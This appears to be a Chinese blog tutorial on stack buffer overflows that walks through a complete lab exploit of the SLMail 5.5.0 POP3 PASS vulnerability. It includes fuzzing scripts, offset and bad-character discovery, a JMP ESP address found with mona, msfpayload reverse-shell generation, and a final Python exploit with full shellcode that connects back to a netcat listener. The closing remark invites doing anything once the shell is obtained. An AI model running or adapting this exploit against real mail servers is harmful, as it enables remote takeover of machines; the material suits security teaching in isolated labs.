缓冲区溢出

程序漏洞从哪里来

罪恶的根源:变量
数据与代码边界不清
最简漏洞原理——shell脚本漏洞
打印输入的数据

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#! /bin/bash
echo $1

正常输入
1.PNG
非正常输入
2.PNG
原因:没有过滤、没有检查、没有消毒,直接接收,放到内存,交由CPU执行

缓冲区溢出

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据。
可以造成程序崩溃、成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。
模糊测试

  • 向程序堆栈半随机的数据,根据内存变化判断溢出
  • 数据生成器:生成随机、半随机数据 #一般通过半随机数据
  • 测试工具:识别溢出漏洞

环境:XP
测试软件:SLMail 5.5.0 Mail Server
调试工具:ImmunityDebugger_1_85_setup.exe
mona #git上有
SLmail 安装后开放110,25,180,8376端口
关闭防火墙
已知:POP3 PASS 命令存在缓冲区溢出漏洞
登陆实验
3.PNG
模拟登录脚本1

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#! /usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending evil buffer------"
s.connect(('192.168.67.129',110))
data=s.recv(1024)
print data

s.send('USER administrator' + '\r\n')
data=s.recv(1024)
print data

s.send('PASS test\r\n')
data=s.recv(1024)
print data

s.close()
print"\nDone!"

except:
print"Can't connect to POP3!"

要想让目标崩溃,PASS后的数据需要足够大
模拟登录脚本2

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#! /usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200

for string in buffer:
print"Fuzzing PASS with %s bytes " % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.67.129',110))
s.recv(1024)
s.send('USER administrator' + '\r\n')
s.recv(1024)
s.send('PASS '+ string + '\r\n')
s.send('QUIT\r\n')
s.close()

调试这个进程
4.PNG
注:调试时,默认暂停状态,需要手动启动一下
执行脚本2
发现在Fuzzing PASS with 2700 bytes时,EIP、ESP、EBP寄存器都被’A’填满。
EIP寄存器是下一条指令要执行的地址。
重启Seattle Lab POP3 Server进程,并重新调试SLMail。
如果能修改下一条指令运行的位置,我就能修改这个程序运行的流程了。所以要恰好覆盖掉EIP寄存器最后一条数据。
使用唯一字符串法,找到精确溢出的 4 个字节

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'/usr/share/metasploit-framework/tools/exploit/pattern_create.rb' -l 2700

ps:生成唯一字符串
执行脚本3

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#! /usr/bin/python
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'
try:
print "\nSending evil buffer------"
s.connect(('192.168.67.129',110))
data=s.recv(1024)
s.send('USER administrator' + '\r\n')
data=s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data=s.recv(1024)
s.close()
print"\nDone!"
except:
print"Can't connect to POP3!"

发现EIP寄存器被39 69 44 38占据。(ASCII码,内存高位存低地址,低位存高地址,38 44 69 39->8Di9)
计算偏移量
计算对应串在唯一字符串中的偏移量
6.PNG
及可以从2607开始填入攻击代码,但是放不下(T_T),修改EIP寄存器为ESP地址,ESP寄存器中存放攻击代码(地址跳转)。
计算ESP寄存器大小
脚本4

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#! /usr/bin/python
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'C'*400
try:
print "\nSending evil buffer------"
s.connect(('192.168.67.129',110))
data=s.recv(1024)
s.send('USER administrator' + '\r\n')
data=s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print"\nDone!"
except:
print"Can't connect to POP3!"

ESP寄存器01F7A2F4-01F7A154=1A0(416)最小的shellcode大约为300字节
坏字节
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途。

  • 返回地址、Shellcode、buffer中都不能出现坏字符
  • null byte (0x00) 空字符,用于终止字符串的拷贝操作
  • return (0x0D) 回车操作,表示POP3 PASS 命令输入完成

查找所有字符,选出坏字符(0x00-0xff,256个)
脚本5

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#! /usr/bin/python
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\xla\xlb\xlc\xld\xle\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x59"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x721x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xag"
"\xal\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xbo"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xce"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xdl\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xel\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfelxff\x00")
try:
print "\nSending evil buffer------"
s.connect(('192.168.67.129',110))
data=s.recv(1024)
s.send('USER administrator' + '\r\n')
data=s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print"\nDone!"
except:
print"Can't connect to POP3!"

查出坏字符有0x0A、0x00、0x0D
重定向数据流
SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定。
用ESP的地址替换EIP的值,但是ESP地址会变化,硬编码不可行,使用固定模块中的JMP ESP(地址跳转) 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode。(EIP->JMP ESP->ESP)
使用mona脚本查询当前操作系统模块
7.PNG
寻找
| Rebase | SafeSEH | ASLR | NXCompat | OS Dll |
| False | False | False | False | True |
将jmp esp转化为汇编语言
8.PNG

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!mona find -s "\xff\xe4" -m slmfc.dll

找到\xe3\x41\x4b\x5f
9.PNG
使用win32_reverse脚本,并过滤x00\x0a\x0d

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root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.67.128 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"

脚本6

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#! /usr/bin/python
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode = (
"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e" +
"\x6b\x9d\x18\x83\xeb\xfc\xe2\xf4\x82\x01\x76\x55\x96\x92\x62\xe7" +
"\x81\x0b\x16\x74\x5a\x4f\x16\x5d\x42\xe0\xe1\x1d\x06\x6a\x72\x93" +
"\x31\x73\x16\x47\x5e\x6a\x76\x51\xf5\x5f\x16\x19\x90\x5a\x5d\x81" +
"\xd2\xef\x5d\x6c\x79\xaa\x57\x15\x7f\xa9\x76\xec\x45\x3f\xb9\x30" +
"\x0b\x8e\x16\x47\x5a\x6a\x76\x7e\xf5\x67\xd6\x93\x21\x77\x9c\xf3" +
"\x7d\x47\x16\x91\x12\x4f\x81\x79\xbd\x5a\x46\x7c\xf5\x28\xad\x93" +
"\x3e\x67\x16\x68\x62\xc6\x16\x58\x76\x35\xf5\x96\x30\x65\x71\x48" +
"\x81\xbd\xfb\x4b\x18\x03\xae\x2a\x16\x1c\xee\x2a\x21\x3f\x62\xc8" +
"\x16\xa0\x70\xe4\x45\x3b\x62\xce\x21\xe2\x78\x7e\xff\x86\x95\x1a" +
"\x2b\x01\x9f\xe7\xae\x03\x44\x11\x8b\xc6\xca\xe7\xa8\x38\xce\x4b" +
"\x2d\x28\xce\x5b\x2d\x94\x4d\x70\xbe\xc3\xde\x98\x18\x03\x9c\xa4" +
"\x18\x38\x14\xf9\xeb\x03\x71\xe1\xd4\x0b\xca\xe7\xa8\x01\x8d\x49" +
"\x2b\x94\x4d\x7e\x14\x0f\xfb\x70\x1d\x06\xf7\x48\x27\x42\x51\x91" +
"\x99\x01\xd9\x91\x9c\x5a\x5d\xeb\xd4\xfe\x14\xe5\x80\x29\xb0\xe6" +
"\x3c\x47\x10\x62\x46\xc0\x36\xb3\x16\x19\x63\xab\x68\x94\xe8\x30" +
"\x81\xbd\xc6\x4f\x2c\x3a\xcc\x49\x14\x6a\xcc\x49\x2b\x3a\x62\xc8" +
"\x16\xc6\x44\x1d\xb0\x38\x62\xce\x14\x94\x62\x2f\x81\xbb\xf5\xff" +
"\x07\xad\xe4\xe7\x0b\x6f\x62\xce\x81\x1c\x61\xe7\xae\x03\x6d\x92" +
"\x7a\x34\xce\xe7\xa8\x94\x4d\x18")
buffer="A" * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode
try:
print "\nSending evil buffer------"
s.connect(('192.168.67.129',110))
data=s.recv(1024)
s.send('USER administrator' + '\r\n')
data=s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print"\nDone!"
except:
print"Can't connect to POP3!"

ps:\x90 表示什么也不做,防止shellcode前面几个字符被过滤(cpu解析是可能会被覆盖或者擦除)
监听本地444端口,等待shell

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nc -vlp 444

10.PNG
成功获取,想干嘛干嘛!

到此结束

如有错误请联系lanbaidetanlang@qq.com
d4445562473a874201751e2af6377982.0.jpg

文章目录
  1. 1. 程序漏洞从哪里来
  2. 2. 缓冲区溢出
  3. 3. 到此结束